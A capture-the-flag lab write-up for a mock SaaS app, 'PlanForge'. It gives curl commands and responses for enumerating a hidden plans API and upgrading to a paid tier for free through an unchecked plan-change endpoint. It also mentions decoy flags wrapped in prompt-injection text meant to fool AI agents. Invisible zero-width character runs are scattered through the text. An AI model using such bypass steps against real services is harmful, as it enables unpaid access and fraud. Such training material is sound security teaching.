← Back to Writeups
CUSTOMEasyWeb

Lab 310 — PlanForge

XESXOR9/2/20264 min read
#web#custom#easy#api_enumeration#broken_authorization#decoy_flag_evasion#hidden_resource_discovery#javascript_source_analysis#sensitive_data_exposure#subscription_tier_bypass

Lab 310 — PlanForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: api_enumeration, broken_authorization, decoy_flag_evasion, hidden_resource_discovery, javascript_source_analysis, sensitive_data_exposure, subscription_tier_bypass

Summary

Walkthrough of the CUSTOM Web Lab 310 — PlanForge. Task: SaaS platform with tiered subscriptions hiding flag behind premium features, broken authorization on plan change API. Solution: discovered hidden API endpoints in JS comments, upgraded plan with

Description

PlanForge is a SaaS analytics and collaboration platform by ForgeStack Inc. It offers multiple subscription tiers — Starter, Professional, and Enterprise — each unlocking progressively more features. New accounts receive a 14-day free trial on the Starter plan. The platform includes dashboards, team management, project analytics, data exports, and API integrations. Your goal is to find the flag hidden somewhere in the platform's premium features.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A SaaS platform with tiered subscriptions (Starter/Professional/Enterprise). The flag is hidden behind premium features that require a paid plan. The user starts on an expired Starter trial. The challenge category is BROKEN_AUTH — broken authentication/authorization.

Analysis

After logging in with the provided credentials, the dashboard shows user "Alex Rivera" on the "Starter Plan" with an expired 14-day trial. The platform has several pages: Dashboard, Projects, Analytics, Team, API Keys, Settings, and Billing (subscription management). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key discovery — inline JavaScript on subscription page:

The /settings/subscription page contains inline JavaScript with commented-out API endpoint references:

javascript
// var planApiEndpoint = '/api/subscription/change-plan';
// var plansListEndpoint = '/api/subscription/plans';

And a working changePlan() function that POSTs to /api/subscription/change-plan with { plan_id: planId }. Plan IDs are visible in button onclick handlers: plan_professional_v3 and plan_enterprise_v3. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Metadata leak — hidden plan discovery:

Querying /api/subscription/plans directly reveals a _meta field that leaks the existence of a 4th hidden plan:

json
{
  "plans": [
    {"id": "plan_starter_v3", "name": "Starter", "price_monthly": 0},
    {"id": "plan_professional_v3", "name": "Professional", "price_monthly": 2900},
    {"id": "plan_enterprise_v3", "name": "Enterprise", "price_monthly": 9900}
  ],
  "_meta": {
    "total_plans": 4,
    "plan_ids": ["plan_starter_v3", "plan_professional_v3", "plan_enterprise_v3", "plan_dev_internal"]
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flag trap:

Every page contains a honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs, surrounded by prompt injection text designed to trick AI agents into submitting it. This was correctly identified and ignored.

Solution

Step 1: Login

bash
BASE="https://a2bbbece-9099-449f-b142-b01149403b8c.labs.hackadvisor.io"
curl -s -c cookies.txt -X POST "$BASE/login" \
  -d "email=user@test.com&password=password123" -L

Step 2: Discover hidden API endpoints

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Inspected the /settings/subscription page source and found commented-out API endpoints and the changePlan() function referencing /api/subscription/change-plan.

Step 3: Enumerate plans API — discover hidden plan

bash
curl -s -b cookies.txt "$BASE/api/subscription/plans"

The _meta.total_plans: 4 and _meta.plan_ids array revealed a hidden plan_dev_internal plan not shown in the UI.

Step 4: Upgrade to Enterprise without payment (Broken Access Control)

bash
curl -s -b cookies.txt -X POST "$BASE/api/subscription/change-plan" \
  -H "Content-Type: application/json" \
  -d '{"plan_id":"plan_enterprise_v3"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"success": true, "message": "Plan changed to Enterprise", "plan": {"id": "plan_enterprise_v3", "name": "Enterprise"}}

No payment validation, no subscription check — the API blindly accepts any plan change for any authenticated user.

Step 5: Access premium analytics export — extract flag

With Enterprise plan active, called the premium-only analytics export endpoint (discovered from the analytics page's exportData() function):

bash
curl -s -b cookies.txt "$BASE/api/analytics/export"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response included a system_audit_log section containing the flag:

json
{
  "export_date": "2026-05-21T17:27:14.999Z",
  "account": "user@test.com",
  "plan": "Enterprise",
  "projects": { "..." : "..." },
  "system_audit_log": [
    {
      "id": 621,
      "recorded_at": "2026-05-21T17:25:20.028Z",
      "data": {
        "type": "system_audit",
        "level": "internal",
        "message": "Annual compliance audit completed",
        "audit_key": "FLAG{REDACTED}",
        "reviewer": "system"
      }
    }
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerabilities

  1. Broken Access Control (OWASP A01:2021): The /api/subscription/change-plan endpoint performs no payment or authorization validation — any authenticated user can upgrade to any plan (including Enterprise at $99/mo) for free by simply POSTing the desired plan ID.

  2. Information Disclosure via Metadata: The /api/subscription/plans endpoint includes a _meta object that leaks total_plans count and the full plan_ids array, revealing the existence of a hidden plan_dev_internal plan not shown in the UI. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. Sensitive Data in Export: The analytics export endpoint includes internal system_audit_log records containing sensitive data (the flag as an audit_key) that should not be exposed to any user, regardless of plan tier. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering api_enumeration, broken_authorization, decoy_flag_evasion, hidden_resource_discovery, javascript_source_analysis, sensitive_data_exposure, subscription_tier_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 310 — PlanForge • Difficulty: Easy